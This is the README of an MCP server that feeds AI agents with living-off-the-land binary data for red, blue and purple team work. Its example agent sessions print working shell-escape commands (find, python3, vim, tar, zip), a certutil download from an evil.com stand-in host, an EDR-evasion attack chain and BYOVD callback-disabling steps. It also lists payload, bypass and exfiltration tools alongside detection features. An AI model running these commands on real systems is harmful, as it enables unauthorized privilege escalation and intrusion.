MCP 服务器

living-off-the-land-lolbins-mcp-server

Living off the Land intelligence for AI agents. GTFOBins, LOLBAS, LOOBins, LOLDrivers, LOLRMM, WADComs, LOLC2 and more — unified into a single MCP server.

README

<h3 align="center">Living off the Land intelligence for AI agents.</h3>

GTFOBins, LOLBAS, LOOBins, LOLDrivers, LOLRMM, WADComs, LOLC2 and more — unified into a single MCP server. Your AI agent gets full-spectrum LOL binary intelligence for red team, blue team, and purple team operations.

<a href="#the-problem">The Problem</a> • <a href="#how-its-different">How It's Different</a> • <a href="#quick-start">Quick Start</a> • <a href="#what-the-ai-can-do">What The AI Can Do</a> • <a href="#tools-reference-59-composite-tools">Tools (59)</a> • <a href="#data-sources-10">Data Sources (10)</a> • <a href="#architecture">Architecture</a> • <a href="CHANGELOG.md">Changelog</a> • <a href="CONTRIBUTING.md">Contributing</a>

The Problem

Living off the Land binary intelligence is the missing layer in every red team engagement, purple team exercise, and detection engineering workflow. The binaries you need to abuse, detect, and defend against are documented across 10+ catalogs, each with its own format, its own schema, its own platform focus:

Traditional LOL binary intel workflow:
  Linux privilege escalation         ->  GTFOBins web interface
  Windows LOL binaries               ->  LOLBAS project website
  macOS native binaries              ->  LOOBins web interface
  Vulnerable kernel drivers          ->  LOLDrivers project
  Abusable RMM tools                 ->  LOLRMM project
  VMware ESXi binaries               ->  LOLESXi project
  Living off trusted platforms       ->  LOTP project
  C2 over legitimate services        ->  LOLC2 project
  Firmware/BIOS/cabinet abuse        ->  LOFLCAB project
  Active Directory attacks           ->  WADComs web interface
  cross-platform correlation         ->  copy-paste into a spreadsheet
  ATT&CK mapping                     ->  manual lookup in Navigator
  detection rule writing             ->  start from scratch every time
  ────────────────────────────────────
  Total: hours per engagement, most of it switching contexts and reformatting data

living-off-the-land-lolbins-mcp-server gives your AI agent 59 composite tools (321 total tools) across 10 LOL catalogs via the Model Context Protocol. The agent queries all catalogs in parallel, correlates binaries across platforms, discovers escalation paths, generates detection rules, and presents a unified attack/defense picture — in a single conversation.

With living-off-the-land-lolbins-mcp-server:
  You: "I need to escalate privileges on a Linux box with curl, python3, and find available"

  Agent: -> lol_lookup {binary: "curl", platform: "linux"}
         -> lol_lookup {binary: "python3", platform: "linux"}
         -> lol_lookup {binary: "find", platform: "linux"}
         -> lol_privesc_paths {binaries: ["curl","python3","find"], platform: "linux"}
         -> lol_detect_rules {binary: "find", technique: "suid"}
         -> "3 escalation paths found:
            1. find (SUID) — spawn shell via -exec: find . -exec /bin/sh -p \; -quit
            2. python3 (SUID) — python3 -c 'import os; os.execl("/bin/sh","sh","-p")'
            3. curl (sudo) — if sudo curl is allowed, file read via -o or write via -O
            MITRE ATT&CK: T1548.001 (Setuid/Setgid), T1059.006 (Python)
            Sigma rule generated for sysmon file creation + process exec patterns.
            Detection: monitor execve() calls from find/python3 with euid!=uid."

How It's Different

Existing tools give you raw data one catalog at a time. living-off-the-land-lolbins-mcp-server gives your AI agent the ability to reason across all LOL catalogs simultaneously for attack planning, defense validation, and purple team exercises.

<table> <thead> <tr> <th></th> <th>Traditional Approach</th> <th>living-off-the-land-lolbins-mcp-server</th> </tr> </thead> <tbody> <tr> <td>Interface</td> <td>10 different websites, wikis, and GitHub repos</td> <td>MCP — AI agent calls tools conversationally</td> </tr> <tr> <td>Data sources</td> <td>One catalog at a time</td> <td>10 catalogs queried in parallel</td> </tr> <tr> <td>Cross-platform</td> <td>Separate lookups for Linux, Windows, macOS, ESXi</td> <td>Agent correlates: "curl exists on Linux (GTFOBins), Windows (LOLBAS), and macOS (LOOBins) with different abuse vectors on each"</td> </tr> <tr> <td>Attack graphs</td> <td>Manual whiteboard or spreadsheet</td> <td>Agent builds attack graphs with BFS/DFS path finding from initial access to objective</td> </tr> <tr> <td>Detection</td> <td>Write Sigma/YARA rules from scratch</td> <td>Agent generates Sigma, YARA, Sysmon, and EDR queries for any LOL binary abuse technique</td> </tr> <tr> <td>ATT&CK mapping</td> <td>Manual lookup in MITRE Navigator</td> <td>Agent maps every technique to ATT&CK and exports Navigator layers</td> </tr> <tr> <td>Purple team</td> <td>Plan exercises manually</td> <td>Agent generates purple team exercises with red team steps + blue team validation criteria</td> </tr> <tr> <td>Setup</td> <td>Bookmark 10 websites, learn 10 schemas</td> <td><code>npx living-off-the-land-lolbins-mcp-server</code> — one command, zero config</td> </tr> </tbody> </table>

Quick Start

Option 1: npx (no install)

npx living-off-the-land-lolbins-mcp-server

All tools work immediately. No API keys required — all 10 LOL catalogs are open-source data.

Option 2: Clone

git clone https://github.com/badchars/living-off-the-land-lolbins-mcp-server.git
cd living-off-the-land-lolbins-mcp-server
bun install

Connect to your AI agent

<details open> <summary>Claude Code</summary>

# With npx
claude mcp add lolbins-mcp-server -- npx living-off-the-land-lolbins-mcp-server

# With local clone
claude mcp add lolbins-mcp-server -- bun run /path/to/living-off-the-land-lolbins-mcp-server/src/index.ts

</details>

<details> <summary>Claude Desktop</summary>

Add to ~/Library/Application Support/Claude/claude_desktop_config.json:

{
  "mcpServers": {
    "lolbins": {
      "command": "npx",
      "args": ["-y", "living-off-the-land-lolbins-mcp-server"]
    }
  }
}

</details>

<details> <summary>Cursor / Windsurf / other MCP clients</summary>

Same JSON config format. Point the command to npx living-off-the-land-lolbins-mcp-server or your local installation path.

</details>

CLI Usage

# List composite tools (59)
npx living-off-the-land-lolbins-mcp-server --list

# List all tools including sub-tools (321)
npx living-off-the-land-lolbins-mcp-server --list-all

# Show help
npx living-off-the-land-lolbins-mcp-server --help

# Run any tool directly
npx living-off-the-land-lolbins-mcp-server --tool lol_lookup '{"binary":"curl","platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_privesc_paths '{"binaries":["find","python3"],"platform":"linux"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_detect_sigma '{"binary":"certutil.exe","technique":"download"}'
npx living-off-the-land-lolbins-mcp-server --tool lol_driver_check '{"driver":"RTCore64.sys"}'

Start querying

You: "What LOL binaries on Windows can I use for lateral movement without dropping files to disk?"

That's it. The agent searches LOLBAS, correlates with ATT&CK, checks for detection coverage, and presents the full picture automatically.

What The AI Can Do

LOL Binary Lookup & Cross-Platform Correlation

You: "Look up certutil.exe across all platforms and catalogs"

Agent: -> lol_lookup {binary: "certutil.exe"}
       -> lol_cross_platform {binary: "certutil"}
       -> lol_attack_map {binary: "certutil.exe"}
       -> "certutil.exe — Windows LOL binary (LOLBAS):
          Functions: Download (ADS), Encode/Decode (Base64), Alternate Data Streams
          ATT&CK: T1140 (Deobfuscate), T1105 (Ingress Tool Transfer), T1564.004 (ADS)
          Commands:
            Download: certutil -urlcache -split -f http://evil.com/payload.exe out.exe
            Encode:   certutil -encode payload.exe encoded.txt
            Decode:   certutil -decode encoded.txt payload.exe
          Cross-platform equivalents:
            Linux: curl, wget, openssl (GTFOBins)
            macOS: curl, security (LOOBins)
          Detection: Sysmon EventID 1 (ProcessCreate) + EventID 11 (FileCreate)
          Sigma rule generated."

Privilege Escalation Path Discovery

You: "I have sudo access to vim, tar, and zip on Linux. Find escalation paths."

Agent: -> lol_privesc_paths {binaries: ["vim","tar","zip"], platform: "linux"}
       -> lol_lookup {binary: "vim", platform: "linux"}
       -> lol_lookup {binary: "tar", platform: "linux"}
       -> lol_lookup {binary: "zip", platform: "linux"}
       -> "3 privilege escalation paths found:
          1. vim (sudo) — :!/bin/sh — drops to root shell immediately
          2. tar (sudo) — tar cf /dev/null testfile --checkpoint=1
             --checkpoint-action=exec=/bin/sh — shell via checkpoint
          3. zip (sudo) — zip /tmp/x.zip /etc/hosts -T
             -TT 'sh #' — shell via test command
          Risk: HIGH — all three provide immediate root shell
          MITRE: T1548.003 (Sudo and Sudo Caching)
          Remediation: restrict sudo to specific flags, use sudoers NOEXEC"

Detection Engineering

You: "Generate detection rules for mshta.exe abuse"

Agent: -> lol_detect_sigma {binary: "mshta.exe", technique: "execute"}
       -> lol_detect_yara {binary: "mshta.exe"}
       -> lol_detect_sysmon {binary: "mshta.exe"}
       -> lol_detect_edr {binary: "mshta.exe"}
       -> "Detection package for mshta.exe (LOLBAS):
          Sigma: Process creation rule matching mshta.exe spawning
            cmd.exe/powershell.exe + network connection rule
          YARA: Rule matching mshta.exe loading VBScript/JScript payloads
          Sysmon: EventID 1 (child process) + EventID 3 (network)
            config snippet provided
          EDR (KQL): DeviceProcessEvents query for mshta.exe
            with suspicious command-line patterns
          Coverage: T1218.005 (Mshta), T1059.005 (VBScript)"

Environment Enumeration & Attack Planning

You: "I'm on a Windows 10 box. Enumerate which LOL binaries are available and plan an attack chain."

Agent: -> lol_enum_environment {platform: "windows", version: "10"}
       -> lol_attack_graph {platform: "windows", objective: "persistence"}
       -> lol_opsec_check {techniques: ["certutil","mshta","schtasks"]}
       -> "Windows 10 LOL binary inventory:
          154 LOLBAS binaries available by default
          12 LOLDrivers vulnerable drivers known for Win10
          8 LOLRMM tools commonly present
          Attack chain (initial access -> persistence):
            1. mshta.exe — execute HTA payload (T1218.005)
            2. certutil.exe — download additional tools (T1105)
            3. schtasks.exe — establish persistence (T1053.005)
          OPSEC warnings:
            - certutil download triggers Defender ATP alert
            - mshta.exe flagged by most EDR products
            - schtasks.exe is heavily monitored
          Alternatives with lower detection:
            - Use desktopimgdownldr.dll for download instead of certutil
            - Use msiexec for execution instead of mshta"

Purple Team Exercise Generation

You: "Create a purple team exercise around LOLDrivers and BYOVD"

Agent: -> lol_purple_exercise {topic: "BYOVD", catalogs: ["loldrivers"]}
       -> lol_driver_search {query: "kernel", vulnerable: true}
       -> lol_detect_rules {technique: "BYOVD"}
       -> "Purple Team Exercise: Bring Your Own Vulnerable Driver (BYOVD)
          Red Team Steps:
            1. Deploy RTCore64.sys (known vulnerable, CVE-2019-16098)
            2. Load driver via sc.exe create / sc.exe start
            3. Use driver to disable kernel callbacks (EDR bypass)
          Blue Team Validation:
            1. Verify driver load events (Sysmon EventID 6)
            2. Check driver signature against LOLDrivers blocklist
            3. Monitor for kernel callback removal
          Scoring: red success if EDR blind, blue success if detected in <5min
          MITRE: T1068 (Exploitation for Privilege Escalation)
          Caldera profile exported."

Tools Reference (59 Composite Tools)

<details open> <summary>Core (3) — Fundamental LOL binary lookup and search</summary>

Tool	Description
`lol_lookup`	Look up a specific binary/tool across all 10 LOL catalogs — returns functions, commands, ATT&CK mapping, detection notes
`lol_search`	Full-text search across all catalogs by keyword, technique, or ATT&CK ID
`lol_list_catalogs`	List all available LOL catalogs with entry counts, last update time, and status

</details>

<details> <summary>Environment & Graph (4) — Host enumeration and attack graph reasoning</summary>

Tool	Description
`lol_enum_environment`	Enumerate LOL binaries available on a target platform/version — returns full inventory of abusable binaries
`lol_attack_graph`	Build an attack graph from initial access to objective using available LOL binaries with BFS/DFS path finding
`lol_cross_platform`	Correlate a binary across Linux, Windows, macOS, and ESXi — shows equivalent abuse techniques per platform
`lol_dependency_map`	Map dependencies between LOL binaries — which binaries enable or chain into others

</details>

<details> <summary>Privilege Escalation (3) — Escalation path discovery and analysis</summary>

Tool	Description
`lol_privesc_paths`	Discover privilege escalation paths given a list of available binaries and current access level
`lol_suid_audit`	Audit SUID/SGID binaries against GTFOBins for exploitable privilege escalation vectors
`lol_sudo_audit`	Audit sudoers entries against GTFOBins for escalation via sudo misconfigurations

</details>

<details> <summary>Persistence (2) — Persistence mechanism discovery</summary>

Tool	Description
`lol_persist_techniques`	Enumerate persistence techniques achievable with available LOL binaries on the target platform
`lol_persist_detect`	Generate detection logic for LOL binary persistence mechanisms — registry keys, scheduled tasks, launch agents

</details>

<details> <summary>Lateral Movement (2) — Network propagation via LOL binaries</summary>

Tool	Description
`lol_lateral_movement`	Find lateral movement techniques using LOL binaries — WMI, PsExec alternatives, SSH, RDP pivoting
`lol_fileless_lateral`	Discover fileless lateral movement options that leave minimal forensic artifacts

</details>

<details> <summary>Defense Evasion (5) — Evasion techniques and bypass methods</summary>

Tool	Description
`lol_evasion_techniques`	Enumerate defense evasion techniques for a binary — AMSI bypass, ETW patching, log evasion
`lol_applocker_bypass`	Find AppLocker/WDAC bypass techniques using LOL binaries present on the system
`lol_amsi_bypass`	Discover AMSI bypass methods via LOL binaries and native Windows tools
`lol_log_evasion`	Find techniques to evade or tamper with logging using LOL binaries
`lol_edr_bypass`	Discover EDR bypass and blinding techniques using LOL binaries and vulnerable drivers

</details>

<details> <summary>Credential Access (2) — Credential harvesting via LOL binaries</summary>

Tool	Description
`lol_credential_harvest`	Find credential dumping and harvesting techniques using LOL binaries — SAM, LSASS, keychain
`lol_credential_store`	Enumerate credential stores accessible via LOL binaries on the target platform

</details>

<details> <summary>Execution (3) — Code and command execution techniques</summary>

Tool	Description
`lol_execute_techniques`	Enumerate all execution techniques for a binary — command execution, script hosting, DLL loading
`lol_execute_fileless`	Find fileless execution methods using LOL binaries — in-memory, reflective loading, living-off-the-land
`lol_execute_proxy`	Discover execution proxy techniques — binaries that can execute other binaries indirectly

</details>

<details> <summary>Discovery & Collection (2) — Reconnaissance and data gathering</summary>

Tool	Description
`lol_discovery_techniques`	Find host and network discovery techniques using LOL binaries — enumeration, recon, fingerprinting
`lol_collection_techniques`	Enumerate data collection and staging techniques via LOL binaries

</details>

<details> <summary>Exfiltration & C2 (3) — Data exfiltration and command-and-control</summary>

Tool	Description
`lol_exfiltration`	Find data exfiltration techniques using LOL binaries — DNS, HTTP, ICMP, alternate protocols
`lol_c2_channels`	Discover C2 channel options using legitimate services and LOL binaries (LOLC2 catalog)
`lol_c2_profile`	Generate C2 profiles using LOL binaries that blend with normal traffic patterns

</details>

<details> <summary>Payload & Obfuscation (4) — Payload generation and encoding</summary>

Tool	Description
`lol_payload_generate`	Generate LOL binary abuse payloads for a given technique and platform
`lol_payload_encode`	Encode/obfuscate payloads using LOL binary capabilities — certutil, base64, compress
`lol_payload_deliver`	Find payload delivery methods using LOL binaries — download cradles, staged delivery
`lol_obfuscation`	Discover command obfuscation techniques for LOL binary abuse commands

</details>

<details> <summary>Drivers & RMM & CI/CD (3) — Vulnerable drivers, RMM tools, and firmware</summary>

Tool	Description
`lol_driver_check`	Check a driver against the LOLDrivers database — known vulnerable, known malicious, CVEs, hashes
`lol_rmm_audit`	Audit installed RMM tools against LOLRMM catalog — identify abusable remote management software
`lol_firmware_abuse`	Search LOFLCAB catalog for firmware, BIOS, and cabinet file abuse techniques

</details>

<details> <summary>Platform Deep Dives (3) — Platform-specific analysis</summary>

Tool	Description
`lol_gtfobins_deep`	Deep dive into GTFOBins for a Linux binary — all functions, shell escapes, file operations
`lol_lolbas_deep`	Deep dive into LOLBAS for a Windows binary — all functions, ATT&CK, detection, paths
`lol_esxi_deep`	Deep dive into LOLESXi for ESXi binary abuse — VM escape, hypervisor manipulation

</details>

<details> <summary>OPSEC & Planning (2) — Operational security and engagement planning</summary>

Tool	Description
`lol_opsec_check`	Evaluate OPSEC risk for a set of LOL binary techniques — detection likelihood, EDR coverage, noise level
`lol_engagement_plan`	Generate a full engagement plan using LOL binaries for a given objective and constraints

</details>

<details> <summary>Threat Intelligence (3) — Adversary behavior and threat mapping</summary>

Tool	Description
`lol_threat_actor_map`	Map LOL binary usage to known threat actors and APT groups
`lol_campaign_analysis`	Analyze a set of LOL techniques against known campaigns and intrusion sets
`lol_trending_techniques`	Get trending LOL binary abuse techniques from recent threat intelligence

</details>

<details> <summary>Forensics & IR (3) — Forensic analysis and incident response</summary>

Tool	Description
`lol_forensic_artifacts`	Enumerate forensic artifacts left by LOL binary abuse — logs, registry, prefetch, shimcache
`lol_incident_timeline`	Correlate LOL binary execution events into an incident timeline
`lol_artifact_hunt`	Generate forensic hunting queries for LOL binary abuse artifacts across log sources

</details>

<details> <summary>Detection Engineering (4) — Rule generation and coverage analysis</summary>

Tool	Description
`lol_detect_sigma`	Generate Sigma detection rules for LOL binary abuse techniques
`lol_detect_yara`	Generate YARA rules for identifying LOL binary abuse patterns in files and memory
`lol_detect_sysmon`	Generate Sysmon configuration entries for monitoring LOL binary activity
`lol_detect_edr`	Generate EDR queries (KQL, SPL, EQL) for LOL binary detection

</details>

<details> <summary>Blue Team Analytics (3) — Defensive posture assessment</summary>

Tool	Description
`lol_coverage_gaps`	Analyze detection coverage gaps for LOL binary techniques in your environment
`lol_baseline_audit`	Audit LOL binary execution baselines to identify anomalous usage patterns
`lol_red_vs_blue_score`	Score red team techniques against blue team detection capabilities for LOL binaries

</details>

<details> <summary>AD & WADComs (1) — Active Directory attacks</summary>

Tool	Description
`lol_wadcoms`	Search WADComs for Active Directory attack commands — Kerberoasting, DCSync, Pass-the-Hash, delegation abuse

</details>

<details> <summary>Reporting & Visualization (3) — Export and visualization</summary>

Tool	Description
`lol_report_export`	Export findings as structured reports — JSON, Markdown, CSV formats
`lol_attack_navigator`	Export ATT&CK Navigator layer JSON for LOL binary technique coverage
`lol_visualize_graph`	Generate attack path visualizations — Mermaid diagrams, Graphviz DOT, ASCII art

</details>

<details> <summary>Integration Export (1) — Tool integration and automation</summary>

Tool	Description
`lol_caldera_export`	Export LOL binary attack chains as MITRE Caldera adversary profiles for automated simulation

</details>

Data Sources (10)

Catalog	Platform	Entries	Type	What it provides
GTFOBins	Linux/Unix	400+	Static/GitHub	Unix binaries exploitable for privilege escalation, file ops, shell escape, SUID abuse
LOLBAS	Windows	250+	Static/GitHub	Windows LOL binaries, scripts, and libraries for execution, evasion, persistence
LOOBins	macOS	50+	Static/GitHub	macOS native binaries abusable for offensive operations
LOLDrivers	Windows (kernel)	700+	API/GitHub	Vulnerable and malicious kernel drivers for BYOVD attacks
LOLRMM	Cross-platform	100+	Static/GitHub	Legitimate RMM tools abused for persistence and remote access
LOLESXi	VMware ESXi	30+	Static/GitHub	ESXi binaries for VM escape, hypervisor manipulation, ransomware deployment
LOTP	Cross-platform	40+	Static/GitHub	Trusted platforms and services abused for malicious purposes
LOLC2	Cross-platform	30+	Static/GitHub	Legitimate services abused as command-and-control channels
LOFLCAB	Cross-platform	20+	Static/GitHub	Firmware, BIOS, and cabinet file abuse techniques
WADComs	Windows AD	150+	Static/GitHub	Active Directory attack commands and techniques

Architecture

src/
  index.ts                  # CLI entrypoint (--help, --list, --list-all, --tool, stdio server)
  protocol/
    mcp-server.ts           # MCP server setup (stdio transport)
    tools.ts                # Tool registry — all 59 composite tools + 321 total tools
  types/
    index.ts                # Shared types (ToolDef, ToolContext, ToolResult, CatalogEntry)
  schema/
    catalog.ts              # Unified catalog schema (Zod)
    technique.ts            # ATT&CK technique schema
    binary.ts               # Binary/tool schema
  utils/
    rate-limiter.ts         # Per-catalog rate limiter
    cache.ts                # TTL cache for catalog data
    loader.ts               # Catalog data loader (fetch + parse + normalize)
    updater.ts              # Catalog auto-updater (check for new entries)
  catalogs/
    gtfobins/               # GTFOBins parser and normalizer
    lolbas/                 # LOLBAS parser and normalizer
    loobins/                # LOOBins parser and normalizer
    loldrivers/             # LOLDrivers parser and normalizer
    lolrmm/                 # LOLRMM parser and normalizer
    lolesxi/                # LOLESXi parser and normalizer
    lotp/                   # LOTP parser and normalizer
    lolc2/                  # LOLC2 parser and normalizer
    loflcab/                # LOFLCAB parser and normalizer
    wadcoms/                # WADComs parser and normalizer
    index.ts                # Catalog registry and loader index
  knowledge-base/
    attack-map.ts           # MITRE ATT&CK mapping engine
    binary-db.ts            # Unified binary database (normalized from all catalogs)
    technique-db.ts         # Technique database with cross-references
  environment/
    enumerator.ts           # Platform environment enumeration
    platform-profiles.ts    # Default binary inventories per OS/version
  graph/
    attack-graph.ts         # Attack graph data structure
    pathfinder.ts           # BFS/DFS path finding algorithms
    visualizer.ts           # Mermaid, Graphviz, ASCII graph rendering
  providers/
    core/                   # Core lookup, search, list tools (3)
    environment/            # Environment & graph tools (4)
    privesc/                # Privilege escalation tools (3)
    persistence/            # Persistence tools (2)
    lateral/                # Lateral movement tools (2)
    evasion/                # Defense evasion tools (5)
    credential/             # Credential access tools (2)
    execution/              # Execution tools (3)
    discovery/              # Discovery & collection tools (2)
    exfiltration/           # Exfiltration & C2 tools (3)
    payload/                # Payload & obfuscation tools (4)
    drivers/                # Drivers, RMM, CI/CD tools (3)
    platform/               # Platform deep dive tools (3)
    opsec/                  # OPSEC & planning tools (2)
    threat-intel/           # Threat intelligence tools (3)
    forensics/              # Forensics & IR tools (3)
    detection/              # Detection engineering tools (4)
    blue-team/              # Blue team analytics tools (3)
    ad/                     # AD & WADComs tools (1)
    reporting/              # Reporting & visualization tools (3)
    integration/            # Integration export tools (1)
  composite/
    index.ts                # Composite tool orchestrator (chains sub-tools)
  scripts/
    update-catalogs.ts      # Script to fetch and update all catalog data
    build-knowledge-base.ts # Script to rebuild the unified knowledge base

Design decisions:

10 catalogs, 1 server — Every LOL catalog is an independent module with its own parser and normalizer. The agent picks which catalogs to query based on the context.
Unified knowledge base — All 10 catalogs are normalized into a common schema, enabling cross-platform correlation and attack graph reasoning.
Composite tools — 59 composite tools orchestrate 321 underlying sub-tools, so the agent gets high-level capabilities without needing to chain dozens of calls.
Attack graph engine — BFS/DFS path finding over the binary dependency graph enables automated escalation path discovery and attack chain generation.
Detection generation — Sigma, YARA, Sysmon, and EDR query templates are built-in, not generated from scratch each time.
Zero API keys — All 10 LOL catalogs are open-source data. No authentication required for any tool.
TTL caching — Catalog data is cached locally with configurable TTL to avoid redundant fetches during multi-tool workflows.
Minimal dependencies — @modelcontextprotocol/sdk, zod, and cheerio. All HTTP via native fetch.

Requirements

Runtime: Bun 1.3.9+ (recommended) or Node.js 22+
Platform: macOS, Linux, Windows
Network: Internet access for initial catalog fetch (subsequent queries use cache)

Limitations

Catalog data freshness depends on upstream project update frequency
GTFOBins and LOLBAS have the most comprehensive entries; newer catalogs (LOFLCAB, LOLC2) have fewer
Attack graph reasoning is heuristic-based — paths represent possibilities, not guaranteed exploitation
Detection rules are templates that may need tuning for specific environments
LOLDrivers vulnerability data covers known CVEs only — 0-day driver vulnerabilities not included
WADComs requires Active Directory context for meaningful results
macOS / Linux tested (Windows not tested)

Part of the MCP Security Suite

Project	Domain	Tools
hackbrowser-mcp	Browser-based security testing	39 tools, Firefox, injection testing
cloud-audit-mcp	Cloud security (AWS/Azure/GCP)	38 tools, 60+ checks
github-security-mcp	GitHub security posture	39 tools, 45 checks
cve-mcp	Vulnerability intelligence	23 tools, 5 sources
osint-mcp-server	OSINT & reconnaissance	37 tools, 12 sources
darknet-mcp-server	Dark web & threat intelligence	66 tools, 16 sources
living-off-the-land-lolbins-mcp-server	LOL binary intelligence	59 composite tools, 10 catalogs

For authorized security testing and assessment only. Always ensure you have proper authorization before using LOL binary techniques on any target system.

<a href="LICENSE">MIT License</a> • Built with Bun + TypeScript

living-off-the-land-lolbins-mcp-server

README

The Problem

How It's Different

Quick Start

Option 1: npx (no install)

Option 2: Clone

Connect to your AI agent

CLI Usage

Start querying

What The AI Can Do

LOL Binary Lookup & Cross-Platform Correlation

Privilege Escalation Path Discovery

Detection Engineering

Environment Enumeration & Attack Planning

Purple Team Exercise Generation

Tools Reference (59 Composite Tools)

Data Sources (10)

Architecture

Requirements

Limitations

Part of the MCP Security Suite

推荐服务器